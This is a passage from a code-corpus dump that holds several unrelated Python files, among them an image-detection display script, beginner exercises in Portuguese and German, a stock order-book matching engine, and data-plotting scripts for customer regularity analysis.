show_width_scale]))\n\ntime_elapsed = (time.time() - start_time)*1000\nprint('The code run {:.0f}ms'.format(time_elapsed % 60))\n############################################\n\n\n############################################\nmytxt2deldic('savepara.txt', process_image_name) # first del the current image line\nwith open('savepara.txt', 'a') as f: # second write the current image to txt\n\tf.write(str(tmp_dict))\n\tf.write('\\n')\n\tf.close()\n# third reload txt to read the detection pos to show\ntxt2dic = mytxt2dic('savepara.txt', process_image_name)\nfor rec_index in range(len(txt2dic)-2):\n\trec = txt2dic[rec_index]\n\tprint('rec is', rec)\n\tcv2.rectangle(show_txtimg, (rec[0], rec[1]), (rec[2], rec[3]), (0, 0, 255), 2)\ncv2.imshow('showdetect', show_txtimg)\ncv2.waitKey(0)\n############################################\n\n\n############################################\nplt.subplot(2, 4, 1), plt.imshow(v_originalimage, 'gray'), plt.title('v_originalimage')\nplt.subplot(2, 4, 2), plt.imshow(p_originalimage, 'gray'), plt.title('p_orginalimage')\nplt.subplot(2, 4, 3), plt.imshow(v_image, 'gray'), plt.title('v_image')\nplt.subplot(2, 4, 4), plt.imshow(p_move, 'gray'), plt.title('p_image')\nplt.subplot(2, 4, 5), plt.imshow(v_yihuo, 'gray'), plt.title('v_yihuo')\nplt.subplot(2, 4, 6), plt.imshow(p_yihuo_dilated, 'gray'), plt.title('p_yihuo_dilated')\nplt.subplot(2, 4, 7), plt.imshow(pv_add, 'gray'), plt.title('pv_add')\nplt.subplot(2, 4, 8), plt.plot(pv_plotdata), plt.title('pv_plotdata')\nplt.show()\nplt.close('all')\n\n############################################\nif save_flag:\n savefilename = process_image_name[:process_image_name.rindex('.')]\n makefilename = os.getcwd() + '/savefiles/' + savefilename\n isExists = os.path.exists(makefilename)\n if not isExists:\n \tos.makedirs(makefilename)\n imagesavepath = makefilename + '/v_image.png'\n cv2.imwrite(imagesavepath, v_image)\n imagesavepath = makefilename + '/p_move.png'\n cv2.imwrite(imagesavepath, p_move)\n imagesavepath = makefilename + '/v_yihuo.png'\n cv2.imwrite(imagesavepath, v_yihuo.astype(np.uint8))\n imagesavepath = makefilename + '/p_yihuo_dilated.png'\n cv2.imwrite(imagesavepath, p_yihuo_dilated.astype(np.uint8))\n imagesavepath = makefilename + '/pv_add.png'\n cv2.imwrite(imagesavepath, pv_add.astype(np.uint8))\n cv2.waitKey(5)\n imagesavepath = makefilename + '/detect.png'\n cv2.imwrite(imagesavepath, show_txtimg)\n cv2.waitKey(5)\n plotdataNew = makefilename + '/plotdata.mat'\n scio.savemat(plotdataNew, {'data': pv_plotdata})\n print('....................................the code is over....................................')\n\ncv2.destroyAllWindows()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"312987696","text":"\"\"\"\nFaça um programa que receba a idade, a altura e o peso de cinco pessoas, calcule e mostre:\n■ a quantidade de pessoas com idade superior a 50 anos;\n■ a média das alturas das pessoas com idade entre 10 e 20 anos;\n■ a porcentagem de pessoas com peso inferior a 40 kg entre todas as pessoas analisadas.\n\"\"\"\n\nQuantidadeDePessoas50, MediaAltura10e20, PessoasParaMedia, PessoasParaPorcentagem=0, 0, 0, 0\nPorcentagemInferior40 = 5\n\nfor pessoas in range(5):\n Peso = int(input(\"Digite o seu peso\"))\n Idade = int(input(\"Digite a sua idade\"))\n Altura = float(input(\"Digite a sua altura\"))\n if Idade > 50:\n QuantidadeDePessoas50 += 1\n elif 10 <= Idade <= 20:\n MediaAltura10e20 += Altura\n PessoasParaMedia += 1\n if Peso < 40:\n PorcentagemInferior40 -= 1\nprint(f\"Existem {QuantidadeDePessoas50} pessoas com mais de 50 anos,\"\n f\" {(MediaAltura10e20/PessoasParaMedia)} é a media do pesso de pessoas com idades entre 10 e 20 e,\"\n f\" a porcentagem de pessoas com peso inferior a 40kg e {100/PorcentagemInferior40}%\")","sub_path":"Livro_Azul/Cap05/Questao07.py","file_name":"Questao07.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"481963465","text":"import random\nmax_num = 10\nsecret_num = random.randint(1, max_num)\nprint(\"Ich denke eine nummer zwischen 1 bis \" + str(max_num) + \"...\")\n\nmax_vermutungen = 3\nvermuten_ubrig = max_vermutungen\nwhile vermuten_ubrig:\n print(\"Denken ubrig: \" + str(vermuten_ubrig))\n vermuten = int(input(\"Schreiben Sie die antwort hier: \"))\n if vermuten == secret_num:\n print(\"Korrekt!!! Sie gewonnen\")\n break\n elif vermuten < secret_num:\n print(\"Das ist zu niedrig.\")\n else:\n print(\"Das ist zu hoch.\")\n vermuten_ubrig -= 1\nelse:\n print(\"Sorry, Sie sind aus Vermutungen.\")\n","sub_path":"GuessGame.py","file_name":"GuessGame.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"402626447","text":"\n\n#calss header\nclass _EXCELLENCY():\n\tdef __init__(self,): \n\t\tself.name = \"EXCELLENCY\"\n\t\tself.definitions = [u'the title of someone in an important official position, especially someone, such as an ambassador, who represents their government in a foreign country: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_excellency.py","file_name":"_excellency.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"353392809","text":"from heapq import heappush, heappop\r\nimport logging\r\nimport sys\r\n\r\n\r\nclass OrderBook:\r\n def __init__(self):\r\n self.sell_queue = OrderQueue('sell_queue', 'sell')\r\n self.buy_queue = OrderQueue('buy_queue', 'buy')\r\n self.sell_stop_queue = StopOrderQueue('sell_stop_queue', 'sell')\r\n self.buy_stop_queue = StopOrderQueue('buy_stop_queue', 'buy')\r\n self.queue_list = [self.buy_queue, self.sell_queue, self.buy_stop_queue, self.sell_stop_queue]\r\n self.trade_book = TradeBook()\r\n\r\n def order_sorter(self, order_in):\r\n \"\"\"The initial piping to decided how to handle the order\"\"\"\r\n logging.info(' PROCESSING ORDER NUMBER {}'.format(order_in.position))\r\n if order_in.type.upper() == 'LIMIT':\r\n self.limit_order_processor(order_in)\r\n elif order_in.type.upper() == 'MARKET':\r\n self.market_order_processor(order_in)\r\n elif order_in.type.upper() == 'STOP':\r\n self.stop_order_processor(order_in)\r\n elif order_in.type.upper() == 'CANCEL':\r\n self.cancel_order_processor(order_in.order_to_cancel)\r\n else:\r\n raise ValueError('Bad Inputs!')\r\n\r\n def limit_order_processor(self, order_in):\r\n \"\"\"Processes limit orders handling leftover orders appropriately\"\"\"\r\n if order_in.side.upper() == 'SELL':\r\n # Add order to book if the price is above current highest bid\r\n if self.buy_queue.num_orders == 0 or self.buy_queue.extreme_price() < order_in.price:\r\n self.sell_queue.add_order(order_in.price, order_in.position, order_in.volume)\r\n else:\r\n while order_in.volume_to_trade > 0 and self.buy_queue.extreme_price() >= order_in.price:\r\n if self.buy_queue.num_orders == 0:\r\n # Add leftover shares of order to relevant queue\r\n self.sell_queue.add_order(order_in.price, order_in.position, order_in.volume_to_trade)\r\n return None\r\n [buyer_price, buyer_number, buyer_volume] = self.buy_queue.pop_order()\r\n # How many shares were traded?\r\n trade_volume = self.shares_traded(order_in, buyer_price, buyer_number, buyer_volume)\r\n self.trade_book.create_trade(buyer_price, trade_volume, order_in.position, buyer_number)\r\n order_in.volume_to_trade = order_in.volume_to_trade - trade_volume\r\n if self.buy_queue.num_orders == 0:\r\n self.stop_trigger()\r\n return None\r\n # Add leftover shares from order to queue\r\n if order_in.volume_to_trade != 0 and order_in.price > self.buy_queue.extreme_price():\r\n self.sell_queue.add_order(order_in.price, order_in.position, order_in.volume_to_trade)\r\n order_in.volume_to_trade = 0\r\n self.stop_trigger()\r\n elif order_in.side.upper() == 'BUY':\r\n # Add order to book if the price is below current highest ask\r\n if self.sell_queue.num_orders == 0 or self.sell_queue.extreme_price() > order_in.price:\r\n self.buy_queue.add_order(order_in.price, order_in.position, order_in.volume)\r\n else:\r\n while order_in.volume_to_trade > 0 and self.sell_queue.extreme_price() <= order_in.price:\r\n if self.sell_queue.num_orders == 0:\r\n self.buy_queue.add_order(order_in.price, order_in.position, order_in.volume_to_trade)\r\n return None\r\n [seller_price, seller_number, seller_volume] = self.sell_queue.pop_order()\r\n trade_volume = self.shares_traded(order_in, seller_price, seller_number, seller_volume)\r\n order_in.volume_to_trade = order_in.volume_to_trade - trade_volume\r\n self.trade_book.create_trade(seller_price, trade_volume, order_in.position, seller_number)\r\n if self.sell_queue.num_orders == 0:\r\n self.stop_trigger()\r\n return None\r\n if order_in.volume_to_trade != 0 and order_in.price < self.sell_queue.extreme_price():\r\n self.buy_queue.add_order(order_in.price, order_in.position, order_in.volume_to_trade)\r\n order_in.volume_to_trade = 0\r\n self.stop_trigger()\r\n else:\r\n raise ValueError('Bad Inputs!')\r\n\r\n def shares_traded(self, order_in, price, number, vol):\r\n \"\"\"Returns the volume of the trade\"\"\"\r\n if order_in.side.upper() == 'BUY':\r\n q = self.sell_queue\r\n else:\r\n q = self.buy_queue\r\n if vol > order_in.volume_to_trade:\r\n trade_volume = order_in.volume_to_trade\r\n # Add back leftover bid/ask order\r\n q.add_order(price, number, vol - order_in.volume_to_trade)\r\n else:\r\n trade_volume = vol\r\n return trade_volume\r\n\r\n def cancel_order_processor(self, order_num):\r\n \"\"\"Checks all queues for the order to cancel\"\"\"\r\n for q in self.queue_list:\r\n try:\r\n q.remove_order(order_num)\r\n logging.info(' CANCELLED order number: {}'.format(order_num))\r\n return None\r\n except KeyError:\r\n logging.warning(' ORDER TO CANCEL NOT FOUND IN QUEUE')\r\n continue\r\n\r\n def stop_order_processor(self, order_in):\r\n \"\"\"Simply adds a stop order to its appropriate queue\"\"\"\r\n if order_in.side.upper() == 'SELL':\r\n self.sell_stop_queue.add_order(order_in.price, order_in.position, order_in.volume)\r\n elif order_in.side.upper() == 'BUY':\r\n self.buy_stop_queue.add_order(order_in.price, order_in.position, order_in.volume)\r\n else:\r\n raise ValueError('Bad Inputs!')\r\n\r\n def market_order_processor(self, order_in):\r\n \"\"\"Processes market orders handling leftover orders approriately\"\"\"\r\n if order_in.side.upper() == 'BUY':\r\n q = self.sell_queue\r\n else:\r\n q = self.buy_queue\r\n # Check for any orders on the queue\r\n if q.num_orders == 0:\r\n logging.warning(' No orders in {}...Cannot execute market order!'.format(q.name))\r\n return None\r\n # Process market order until entire volume has been filled\r\n if order_in.volume_to_trade == q.extreme_volume():\r\n # Market order and extreme order on the queue have the same volume\r\n [trade_price, buyer_number, trade_volume] = q.pop_order()\r\n self.trade_book.create_trade(trade_price, trade_volume, order_in.position, buyer_number)\r\n self.stop_trigger()\r\n elif order_in.volume_to_trade < q.extreme_volume():\r\n # Partial filling of an order in the queue -- pop extreme order and then add back modified order\r\n order_vol_remaining = q.extreme_volume() - order_in.volume_to_trade\r\n [trade_price, buyer_number, _order_vol_orig] = q.pop_order()\r\n self.trade_book.create_trade(trade_price, order_in.volume_to_trade, order_in.position, buyer_number)\r\n q.add_order(trade_price, buyer_number, order_vol_remaining)\r\n self.stop_trigger()\r\n else:\r\n # Multiple orders from the queue needed to satisfy the market order\r\n while order_in.volume_to_trade > 0:\r\n if q.num_orders == 0:\r\n return None\r\n [q_price, q_number, q_volume] = q.pop_order()\r\n if q_volume < order_in.volume_to_trade:\r\n trade_volume = q_volume\r\n else:\r\n trade_volume = order_in.volume_to_trade\r\n q.add_order(q_price, q_number, q_volume - trade_volume)\r\n order_in.volume_to_trade = order_in.volume_to_trade - trade_volume\r\n self.trade_book.create_trade(q_price, trade_volume, order_in.position, q_number)\r\n #self.stop_trigger()\r\n\r\n def stop_trigger(self):\r\n \"\"\"\"Checks if any stop order needs to be triggered\"\"\"\r\n while True:\r\n if self.find_prev_trade():\r\n previous_trade = self.find_prev_trade()\r\n else:\r\n return None\r\n # Check if both stop queues have relevant orders\r\n trade_executed = self.stop_both_checker(previous_trade)\r\n logging.info(trade_executed)\r\n if trade_executed == 0:\r\n # Check if both stop queues are empty\r\n if self.buy_stop_queue.num_orders == 0 and self.sell_stop_queue.num_orders == 0:\r\n return None\r\n elif self.buy_stop_queue.num_orders > 0:\r\n if self.buy_stop_queue.extreme_price() <= previous_trade.price:\r\n [_price, stop_number, stop_volume] = self.stop_finder('buy')\r\n stop_order = Order(stop_number, ['Market', 'BUY', stop_volume, 0.0])\r\n self.market_order_processor(stop_order)\r\n else:\r\n return None\r\n elif self.sell_stop_queue.num_orders > 0:\r\n if self.sell_stop_queue.extreme_price() >= previous_trade.price:\r\n [_price, stop_number, stop_volume] = self.stop_finder('sell')\r\n stop_order = Order(stop_number, ['Market', 'SELL', stop_volume, 0.0])\r\n self.market_order_processor(stop_order)\r\n else:\r\n return None\r\n else:\r\n return None\r\n else:\r\n continue\r\n\r\n def stop_both_checker(self, prev_trade):\r\n \"\"\"Used to handle situations where there are stop orders in both queues\"\"\"\r\n # Check if any stop will need to be triggered\r\n trade_executed = 1\r\n # Exit if either queue is empty\r\n if self.buy_stop_queue.num_orders == 0 or self.sell_stop_queue.num_orders == 0:\r\n trade_executed = 0\r\n return trade_executed\r\n # Exit if conditions are not correct\r\n elif self.buy_stop_queue.extreme_price() > prev_trade.price > self.sell_stop_queue.extreme_price():\r\n trade_executed = 0\r\n return trade_executed\r\n elif self.buy_stop_queue.extreme_price() == self.sell_stop_queue.extreme_price():\r\n # Need to compare order numbers\r\n [buy_price, buy_number, buy_volume] = self.stop_finder('BUY')\r\n [sell_price, sell_number, sell_volume] = self.stop_finder('SELL')\r\n if buy_number < sell_number:\r\n # Execute the buy stop trade\r\n stop_order = Order(buy_number, ['Market', 'BUY', buy_volume, 0.0])\r\n self.sell_stop_queue.add_order(sell_price, sell_number, sell_volume)\r\n self.market_order_processor(stop_order)\r\n else:\r\n # Execute the sell stop trade\r\n stop_order = Order(sell_number, ['Market', 'SELL', sell_volume, 0.0])\r\n self.buy_stop_queue.add_order(buy_price, buy_number, buy_volume)\r\n self.market_order_processor(stop_order)\r\n elif prev_trade.price >= self.buy_stop_queue.extreme_price():\r\n [_stop_price, stop_number, stop_volume] = self.stop_finder('BUY')\r\n stop_order = Order(stop_number, ['Market', 'BUY', stop_volume, 0.0])\r\n self.market_order_processor(stop_order)\r\n elif prev_trade.price <= self.sell_stop_queue.extreme_price():\r\n [_stop_price, stop_number, stop_volume] = self.stop_finder('SELL')\r\n stop_order = Order(stop_number, ['Market', 'SELL', stop_volume, 0.0])\r\n self.market_order_processor(stop_order)\r\n else:\r\n logging.warning(' Unintended stop order details!!!')\r\n return trade_executed\r\n\r\n def stop_finder(self, side):\r\n \"\"\"Loop through triggered stop orders and find the earliest\"\"\"\r\n prev_trade = self.find_prev_trade()\r\n stop_dict = {}\r\n loop_num = 1\r\n if side.upper() == 'BUY':\r\n q = self.buy_stop_queue\r\n price1 = q.extreme_price()\r\n price2 = prev_trade.price\r\n else:\r\n q = self.sell_stop_queue\r\n price1 = prev_trade.price\r\n price2 = q.extreme_price()\r\n max_iter = q.num_orders\r\n while price1 <= price2:\r\n [stop_price, stop_number, stop_volume] = q.pop_order()\r\n stop_dict[stop_number] = [stop_price, stop_number, stop_volume]\r\n if loop_num >= max_iter:\r\n break\r\n else:\r\n loop_num += 1\r\n [stop_price, stop_number, stop_volume] = stop_dict.pop(min(stop_dict))\r\n for key in stop_dict:\r\n q.add_order(stop_dict[key][0], key, stop_dict[key][2])\r\n return [stop_price, stop_number, stop_volume]\r\n\r\n def find_prev_trade(self):\r\n if not self.trade_book.trade_list:\r\n return None\r\n prev_trade = self.trade_book.trade_list[-1]\r\n return prev_trade\r\n\r\n\r\nclass Order:\r\n def __init__(self, pos, in_list):\r\n self.position = pos\r\n self.type = in_list[0]\r\n self.side = in_list[1]\r\n if self.type.upper() == 'CANCEL':\r\n self.order_to_cancel = in_list[2]\r\n else:\r\n self.volume = in_list[2]\r\n self.volume_to_trade = in_list[2]\r\n self.price = in_list[3]\r\n\r\n\r\nclass OrderQueue:\r\n def __init__(self, name, order_type):\r\n self.name = name\r\n self.pq = []\r\n self.order_dict = {}\r\n self.num_orders = 0\r\n self.REMOVED = ''\r\n if order_type.upper() == 'SELL':\r\n self.sell_negator = 1\r\n else:\r\n self.sell_negator = -1\r\n\r\n def add_order(self, order_price, order_id, order_volume):\r\n \"\"\"Add a new order_id or update the order_price of an existing order_id\"\"\"\r\n logging.info(\r\n ' ADDING {} shares at ${} with #{} into {}'.format(order_volume, order_price, order_id,\r\n self.name))\r\n order_price = self.sell_negator * order_price\r\n if order_id in self.order_dict:\r\n self.remove_order(order_id)\r\n entry = [order_price, order_id, order_volume]\r\n self.order_dict[order_id] = entry\r\n heappush(self.pq, entry)\r\n self.num_orders += 1\r\n\r\n def remove_order(self, order_id):\r\n \"\"\"Mark an existing order_id as REMOVED. Raise KeyError if not found.\"\"\"\r\n entry = self.order_dict.pop(order_id)\r\n entry[-2] = self.REMOVED\r\n self.num_orders -= 1\r\n # Check if removed order is next to pop\r\n if self.pq[0][1] == self.REMOVED:\r\n heappop(self.pq)\r\n\r\n def pop_order(self):\r\n \"\"\"Pop sorted by order_price then order_id. Raise KeyError if empty.\"\"\"\r\n while self.pq:\r\n order_price, order_id, order_volume = heappop(self.pq)\r\n if order_id is not self.REMOVED:\r\n del self.order_dict[order_id]\r\n self.num_orders -= 1\r\n logging.info(' REMOVING {} shares at ${} with #{} from {}'.format(order_volume,\r\n order_price * self.sell_negator,\r\n order_id, self.name))\r\n return [order_price * self.sell_negator, order_id, order_volume]\r\n raise ValueError('Queue is empty!')\r\n\r\n def extreme_price(self):\r\n \"\"\"Return the relevant extreme price -- Highest bid or lowest ask\"\"\"\r\n while self.pq[0][1] == self.REMOVED:\r\n heappop(self.pq)\r\n order = self.pq[0]\r\n return order[0] * self.sell_negator\r\n\r\n def extreme_volume(self):\r\n \"\"\"Return the relevant extreme volume -- Highest bid or lowest ask\"\"\"\r\n while self.pq[0][1] == self.REMOVED:\r\n heappop(self.pq)\r\n order = self.pq[0]\r\n return order[2]\r\n\r\n\r\nclass StopOrderQueue(OrderQueue):\r\n def __init__(self, name, order_type):\r\n \"\"\"Define subclass of OrderQueue to handle priority queue properly\"\"\"\r\n OrderQueue.__init__(self, name, order_type)\r\n self.name = name\r\n if order_type.upper() == 'SELL':\r\n self.sell_negator = -1\r\n else:\r\n self.sell_negator = 1\r\n\r\n\r\nclass Trade:\r\n def __init__(self, trade_price, trade_vol, order_in_num, order_q_num):\r\n self.shares = trade_vol\r\n self.price = trade_price\r\n self.order_in_num = order_in_num\r\n self.order_q_num = order_q_num\r\n\r\n\r\nclass TradeBook:\r\n def __init__(self):\r\n self.trade_list = []\r\n\r\n def create_trade(self, trade_price, trade_vol, order_in_num, order_q_num):\r\n \"\"\"Creates a trade object and adds it to the trade list\"\"\"\r\n trade = Trade(trade_price, trade_vol, order_in_num, order_q_num)\r\n self.trade_list.append(trade)\r\n logging.error('match %d %d %d %.2f' % (trade.order_in_num, trade.order_q_num, trade.shares, trade.price))\r\n","sub_path":"orderbook.py","file_name":"orderbook.py","file_ext":"py","file_size_in_byte":17325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"390070187","text":"import warnings\nwarnings.filterwarnings(\"ignore\")\n\nimport sys\nsys.path.append(\"../../\")\n\nimport os\nimport time\nimport pandas as pd\nimport numpy as np\n\nfrom utils import readChunk\nimport matplotlib as mpl\nmpl.use('tKagg')\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\n\nimport matplotlib.style as style\n\nsns.set()\nstyle.use('seaborn-poster')\nstyle.use('bmh')\n\ndef plotRegularityFreq():\n\tfile = \"../status/results/regularity_combined_monthly.csv\"\n\tdf = readChunk(file)\n\tprint('Number of customers: ', len(df.USERID.unique()))\n\tprint(df.head())\n\tdf['RMONTH'] = df['RMONTH'].astype(int)\n\tdf['MONTH'] = df['MONTH'].astype(int)\n\tdf = df.loc[df.MONTH != 1]\n\tnew_df = pd.DataFrame(index = list(range(1,31)), columns = ['COUNT'])\n\tnew_df.index.name = 'REGULARITY'\n\tfor i in range(1, 31):\n\t\ttemp = df.loc[df.RMONTH == i]\n\t\tnew_df.loc[i]['COUNT'] = len(temp)\n\tprint(new_df.head())\n\tbarPlot(new_df, 'REGULARITY', 'COUNT', 'regfreq_many.png', print_number = True, savefig = True)\n\n\tnew_df = df.groupby('USERID')['RMONTH'].mean().to_frame()\n\tnew_df['RMONTH'] = round(new_df['RMONTH'])\n\tprint(new_df.head())\n\tnew_df2 = pd.DataFrame(index = list(range(1,31)), columns = ['COUNT'])\n\tnew_df2.index.name = 'REGULARITY'\n\tfor i in range(1, 31):\n\t\ttemp = new_df.loc[new_df.RMONTH == i]\n\t\tnew_df2.loc[i]['COUNT'] = len(temp)\n\tbarPlot(new_df2, 'REGULARITY', 'NUMBER OF CUSTOMERS', 'customerregfreq_many.png', print_number = True, savefig = True)\n\ndef plotRegularityTenure():\n\tfile = 'results/tenure.csv'\n\tdf = readChunk(file)\n\tdf['RWEEK'] = df['RWEEK'].astype(float)\n\tdf['TENURE'] = df['TENURE'].astype(float)\n\n\tfor i in df.RWEEK.unique():\n\t\ttemp = df.loc[df.RWEEK == i]\n\t\tplot = sns.distplot(a = temp['TENURE'].values, kde = False)\n\t\t\n\t\tplot.set_ylim(0,4000)\n\t\tplt.title('Regularity = {}'.format(str(i)[0]))\n\t\tplot.set_xlabel('TENURE (days)')\n\t\tplot.set_ylabel('NUMBER OF CUSTOMERS')\n\t\tplt.savefig(str(i)+'.png', dpi = 600)\n\t\tplt.clf()\n\ndef barPlot(data, xlabel, ylabel, outfile, stacked = False, title = None, print_number = False, savefig = False, showfig = False):\n\tprint('here')\n\tplot = data.plot(kind = 'bar', legend = False, rot = 0, stacked = stacked)\n\tif title: plt.title(title)\n\tif print_number:\n\t\tcount = 0\n\t\tfor i in plot.patches:\n\t\t\tplot.text(count, i.get_height()+.5, str(data.iloc[count]['COUNT']), horizontalalignment='center', fontsize = 10)\n\t\t\tcount = count + 1\n\tplot.set_xlabel(xlabel)\n\tplot.set_ylabel(ylabel)\n\tif savefig:\n\t\tplt.savefig(outfile, dpi = 600)\n\tif showfig:\n\t\tplt.show()\n\tplt.clf()\n\ndef plotWeeklyRegularity(weekno = None, custids = None, ylim = None, outfile = None):\n\tdf = readChunk(\"../status/results/regularity_combined_monthly.csv\")\n\tprint(len(df))\n\tif type(custids) is list:\n\t\tdf = df[df['USERID'].isin(custids)]\n\t\tprint('Number of customers: ', len(df.USERID.unique()))\n\t\n\tdf.dropna(subset = ['RMONTH'], inplace = True)\n\n\tprint('Number of customers: ', len(df.USERID.unique()))\n\tdf['RMONTH'] = df['RMONTH'].astype(int)\n\tdf['MONTH'] = df[\"MONTH\"].astype(int)\n\tdf = df.loc[df.MONTH != 1]\n\tdf.sort_values('MONTH', inplace = True)\n\tfig, axes = plt.subplots(4,2, sharey = 'row', constrained_layout = True)\n\tx = 0\n\ty = 0\n\n\tmonths = ['FEBRUARY', 'MARCH', 'APRIL', 'MAY', 'JUNE', 'JULY', 'AUGUST']\n\tcount = 0\n\n\tfor i in df.MONTH.unique():\n\t\ttemp = df.loc[df.MONTH == i]\n\t\tnew_df = pd.DataFrame(index = list(range(1,31)), columns = ['COUNT'])\n\t\tnew_df.index.name = 'REGULARITY'\n\t\tfor j in range(1,31):\n\t\t\ttemp2 = temp.loc[temp.RMONTH == j]\n\t\t\tnew_df.loc[j]['COUNT'] = len(temp2)\n\t\tplot = new_df.plot(kind = 'bar', legend = False, ax = axes[x, y], rot = 0)\n\t\tplot.tick_params(axis = 'both', which = 'major', labelsize = 6, pad = 2)\n\t\tplot.set_title(months[count], size = 6, pad = 2)\n\t\tx_axis = plot.axes.get_xaxis()\n\t\tx_label = x_axis.get_label()\n\t\tx_label.set_visible(False)\n\t\tif ylim:\n\t\t\tplot.set_ylim(0,ylim)\n\t\ty = y + 1\n\t\tif y == 2:\n\t\t\ty = 0\n\t\t\tx = x + 1\n\t\tnew_df.to_csv('results/reqfreq/week_'+str(i)+'.csv')\n\t\tcount = count + 1\n\t# fig.delaxes(axes[7,3])\n\tfig.delaxes(axes[3,1])\n\t# outfile = \"results/regfreq\"+z+str(i)+'.png'\n\tif outfile:\n\t\tplt.savefig(outfile, dpi = 600)\n\n\ndef plotWeeklyRegularity2(weekno = None, custids = None, ylim = None, outfile = None, regularity_type = 'mean', mode_type = None):\n\tdf = readChunk(\"../status/results/regularity_combined_monthly.csv\")\n\tprint(len(df))\n\tprint(df.head())\n\tif type(custids) is list:\n\t\tdf = df[df['USERID'].isin(custids)]\n\n\tprint('Number of customers: ', len(df.USERID.unique()))\n\t\n\n\tdf.dropna(subset = ['RMONTH'], inplace = True)\n\n\tprint('Number of customers: ', len(df.USERID.unique()))\n\tdf['RMONTH'] = df['RMONTH'].astype(int)\n\tdf['MONTH'] = df[\"MONTH\"].astype(int)\n\tdf = df.loc[df.MONTH != 1]\n\tif regularity_type == 'mode':\n\t\tif mode_type == 'min':\n\t\t\tdf = df.groupby('USERID')['RWEEK'].agg(lambda x: min(pd.Series.mode(x))).to_frame()\n\t\telif mode_type == 'max':\n\t\t\tdf = df.groupby('USERID')['RWEEK'].agg(lambda x: max(pd.Series.mode(x))).to_frame()\n\t\telse:\n\t\t\tdf = df.groupby(['USERID'])['RWEEK'].agg(lambda x: pd.Series.mode(x)[0]).to_frame()\n\telif regularity_type == 'mean':\n\t\t\tdf = df.groupby('USERID', 'MONTH')['RMONTH'].mean().to_frame()\n\t\t\tdf['RMONTH'] = round(df.RMONTH)\n\telse:\n\t\tprint('What regularity type?')\n\tfig, axes = plt.subplots(4,2, sharey = 'row', constrained_layout = True)\n\tx = 0\n\ty = 0\n\tprint(df.head())\n\tfor i in sorted(df.MONTH.unique()):\n\t\ttemp = df.loc[df.MONTH == i]\n\t\tnew_df = pd.DataFrame(index = list(range(1, 32)), columns = ['COUNT'])\n\t\tnew_df.index.name = 'REGULARITY'\n\t\tfor j in range(1, 32):\n\t\t\ttemp2 = temp.loc[temp.RMONTH == j]\n\t\t\tnew_df.loc[j]['COUNT'] = len(temp2)\n\t\t\tprint(new_df)\n\t\tplot = new_df.plot(kind = 'bar', legend = False, ax = axes[x, y], rot = 0)\n\n\t\tplot.tick_params(axis = 'both', which = 'major', labelsize = 6, pad = 2)\n\t\tplot.set_title(i, size = 6, pad = 2)\n\t\tx_axis = plot.axes.get_xaxis()\n\t\tx_label = x_axis.get_label()\n\t\tx_label.set_visible(False)\n\t\tif ylim:\n\t\t\tplot.set_ylim(0,ylim)\n\t\ty = y + 1\n\t\tif y == 2:\n\t\t\ty = 0\n\t\t\tx = x + 1\n\t\tnew_df.to_csv('results/customerregfreq/week_'+z+str(i)+'.csv')\n\t# fig.delaxes(axes[7,3])\n\tfig.delaxes(axes[3,1])\n\tif outfile:\n\t\tplt.savefig(outfile, dpi = 600)\n\ndef plotMonthlyWeekly():\n\tdf = pd.read_csv(\"../status/rweek.csv\")\n\tdf2 = pd.read_csv(\"../status/rmonth.csv\")\n\n\tdf = df.merge(df2, how = 'left', on = 'USERID')\n\tprint(df.head())\n\n\tdf.sort_values('RMONTH', inplace = True)\n\tnew_df = pd.DataFrame(index = df.RMONTH.unique(), columns = range(1,8))\n\tnew_df.index.name = 'RMONTH'\n\tfor i in df.RMONTH.unique():\n\t\ttemp = df.loc[df.RMONTH == i]\n\t\ttotal = len(temp)\n\t\tfor j in temp.RWEEK.unique():\n\t\t\ttemp2 = temp.loc[temp.RWEEK == j]\n\t\t\tnew_df.loc[int(i)][int(j)] = (len(temp2)/total)*100\n\tnew_df.index = new_df.index.astype(int)\n\tprint(new_df.head(30))\n\tnew_df.to_csv('rmonthvsrweek.csv')\n\n\tbarPlot(new_df, 'MONTHLY REGULARITY', 'NUMBER OF CUSTOMERS', 'results/rmonthvsrweek.png', stacked = True, print_number = False, savefig = True)\n\nif __name__ == '__main__':\n\t# plotRegularityFreq()\n\t# plotWeeklyRegularity(outfile = \"results/monthly_regfreq_many.png\", ylim = 350000)\n\t# plotWeeklyRegularity2(outfile = \"results/monthly_customerregfreq_many.png\")\n\tplotMonthlyWeekly()","sub_path":"regularity/monthly/plot2.py","file_name":"plot2.py","file_ext":"py","file_size_in_byte":7141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"187615338","text":"#!/usr/bin/python\n#This code was perform to create boxplot for intended list\n#ussage python boxplot_list_verAll.py list_of_features_to_plot\n\nimport sys\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n#get the essentials information of the inputed data\nargvs \t\t\t= sys.argv\nmatrix_raw \t\t= argvs[1]\n#feature_inp\t\t= open(argvs[2])\nmatrix_bef \t\t= pd.read_table(matrix_raw,index_col=0)\n\n\n#dataframe and elimination of citrate\nfeature_list\t= matrix_bef.index.values\nif 'C00158__Citrate' in feature_list:\n\tmatrix \t= matrix_bef.drop(['C00158__Citrate'],axis=0, inplace=False)\n\t\nelse:\n\tmatrix \t= matrix_bef\ndf_table_Tpose \t= matrix.transpose()\nlist_sample \t= df_table_Tpose.index.values\n#list of feature\nlist_feature \t= []\nfeature_inp = df_table_Tpose.columns.values\n\nlist_stage_n \t= []\nfor x in list_sample:\n\tstage \t\t= x.split('.')[1]\n\tlist_stage_n.append(stage)\n\n\nfor feature in 